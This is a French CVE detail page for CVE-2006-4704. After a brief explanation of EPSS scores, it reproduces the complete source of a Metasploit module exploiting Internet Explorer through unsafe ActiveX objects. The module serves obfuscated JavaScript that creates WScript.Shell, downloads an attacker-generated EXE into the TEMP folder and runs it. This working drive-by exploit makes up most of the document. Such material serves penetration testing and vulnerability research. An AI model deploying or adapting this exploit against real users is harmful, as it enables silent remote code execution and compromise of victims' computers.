CVE-2006-4704 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # $Id: ie_createobject.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Seh include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, # In badly misconfigured situations, IE7 and 8 could be vulnerable to # this, but by default they throw an ugly popup that stops all script # execution until the user deals with it and aborts everything if they # click "no". Not worth the risk of being unable to try more recent # exploits. Make sure service packs on top of 6.0 are considered less # than the max by setting to 6.1 (which doesn't really exist). :ua_maxver => "6.1", :javascript => true, :os_name => OperatingSystems::WINDOWS, :vuln_test => 'CreateObject', :classid => [ '{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{BD96C556-65A3-11D0-983A-00C04FC29E30}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', ], #:rank => ExcellentRanking # reliable exe writer }) def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer COM CreateObject Code Execution', 'Description' => %q{ This module exploits a generic code execution vulnerability in Internet Explorer by abusing vulnerable ActiveX objects. }, 'License' => MSF_LICENSE, 'Author' => [ 'hdm', ], 'Version' => '$Revision: 10394 $', 'References' => [ # MDAC [ 'MSB', 'MS06-014' ], [ 'CVE', '2006-0003' ], [ 'OSVDB', '24517' ], # WMI Object Broker [ 'MSB', 'MS06-073' ], [ 'CVE', '2006-4704' ], [ 'OSVDB', '30155' ], ], 'Payload' => { 'Space' => 2048, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], # Patched [ 'MS06-014 - RDS.DataSpace', { 'CLSID' => '{BD96C556-65A3-11D0-983A-00C04FC29E36}'} ], # Found in mpack [ 'MS06-014 - RDS.DataSpace', { 'CLSID' => '{BD96C556-65A3-11D0-983A-00C04FC29E30}'} ], # Patched [ 'MS06-073 - WMIScriptUtils.WMIObjectBroker2.1', { 'CLSID' => '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}'} ], # These are restricted by site (might be exploitable via DNS spoofing + SSL fun) [ 'UNKNOWN - SoftwareDistribution.MicrosoftUpdateWebControl.1', { 'CLSID' => '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}'} ], [ 'UNKNOWN - SoftwareDistribution.WebControl.1', { 'CLSID' => '{6414512B-B978-451D-A0D8-FCFDF33E833C}'} ], # Visual Studio components, not marked as safe [ 'UNKNOWN - VsmIDE.DTE', { 'CLSID' => '{06723E09-F4C2-43c8-8358-09FCD1DB0766}'} ], [ 'UNKNOWN - DExplore.AppObj.8.0', { 'CLSID' => '{639F725F-1B2D-4831-A9FD-874847682010}'} ], [ 'UNKNOWN - VisualStudio.DTE.8.0', { 'CLSID' => '{BA018599-1DB3-44f9-83B4-461454C84BF8}'} ], [ 'UNKNOWN - Microsoft.DbgClr.DTE.8.0', { 'CLSID' => '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}'} ], [ 'UNKNOWN - VsaIDE.DTE', { 'CLSID' => '{E8CCCDDF-CA28-496b-B050-6C07C962476B}'} ], # # The controls below can launch the "installing component" dialogs... # # Not marked as safe [ 'UNKNOWN - Business Object Factory ', { 'CLSID' => '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}'} ], # Not marked as safe [ 'UNKNOWN - Outlook Data Object', { 'CLSID' => '{0006F033-0000-0000-C000-000000000046}'} ], # Found exploitable in the wild (no details) [ 'UNKNOWN - Outlook.Application', { 'CLSID' => '{0006F03A-0000-0000-C000-000000000046}'} ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 11 2006')) end def on_request_uri(cli, request) if (request.uri.match(/payload/)) return if ((p = regenerate_payload(cli)) == nil) data = generate_payload_exe({ :code => p.encoded }) print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end # Build out the HTML response page var_html = rand_text_alpha(rand(30)+2) var_func_exploit = rand_text_alpha(rand(30)+2); var_func_go = rand_text_alpha(rand(30)+2); var_func_createo = rand_text_alpha(rand(30)+2); var_exe_name = rand_text_alpha(rand(30)+2); var_objects = '' # Build the object list based on target selection if (target.name == 'Automatic') targets.each do |t| next if not t['CLSID'] var_objects += t['CLSID'].unpack('C*').map{|c| " '#{c.chr}' "}.join("+") + "," end else var_objects += target['CLSID'].unpack('C*').map{|c| " '#{c.chr}' "}.join("+") + "," end content = %Q^ <html><head><title></title> <script language="javascript"> function #{var_func_createo}( o , n ) { var r = null; try { eval("r=o" + ".C" + "re" + "ate" + "Ob" + "je" + "ct(n)" ) }catch(e){} if (! r) { try { eval("r=o" + ".Cr" + "ea" + "teO" + "bj" + "ect(n,'')" ) }catch(e){} } if (! r) { try { eval("r=o" + ".Cr" + "ea" + "teO" + "bj" + "ect(n,'','')" ) }catch(e){} } if (! r) { try { eval("r=o" + ".Ge" + "tOb" + "je" + "ct('',n)" ) }catch(e){} } if (! r) { try { eval("r=o" + ".Ge" + "tOb" + "ject(n,'')" ) }catch(e){} } if (! r) { try { eval("r=o" + ".Ge" + "tOb" + "ject(n)" ) }catch(e){} } return( r ); } function #{var_func_go}( a ) { var s = #{var_func_createo}( a, "W" + "Sc" + "ri" + "pt" + ".S" + "he" + "ll" ); var o = #{var_func_createo}( a, "A" + "DO" + "D" + "B.S" + "tr" + "eam" ); var e = s.Environment( "P" + "ro" + "ce" + "ss" ); var url = document.location + '/p' + 'ay' + 'lo' + 'ad'; var xml = null; var bin = e.Item( "T" + "E" + "M" + "P" ) + "\\\\#{var_exe_name}" + ".e" + "xe"; var dat; try { xml=new XMLHttpRequest(); } catch(e) { try { xml = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xml = new ActiveXObject("MSXML2.ServerXMLHTTP"); } } if (! xml) { return(0); } xml.open("GET", url, false); xml.send(null); dat = xml.responseBody; o.Type = 1 ; o.Mode = 3 ; o.Open ( ) ; o.Write ( dat ) ; o.SaveToFile ( bin, 2) ; s.Run ( bin , 0 ); } function #{var_func_exploit}( ) { var i = 0; var t = new Array( #{var_objects} null ); while (t[i]) { var a = null; if (t[i].substring(0,1) == '{') { a = document.createElement("object"); a.setAttribute("cl" + "as" + "sid", "cl" + "s" + "id" +":" + t[i].substring( 1, t[i].length - 1 ) ) ; } else { try { a = new ActiveXObject(t[i]); } catch(e){} } if (a) { try { var b = #{var_func_createo}( a , "W" + "Sc" + "ri" + "pt" + ".S" + "he" + "ll" ) ; if (b) { #{var_func_go}( a ) ; return(0) ; } } catch(e){ } } i++; } } </script> </head> <body onload='#{var_func_exploit}()'> #{var_html} </body> </html> ^ content = Rex::Text.randomize_space(content) print_status("Sending #{self.name} exploit HTML to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end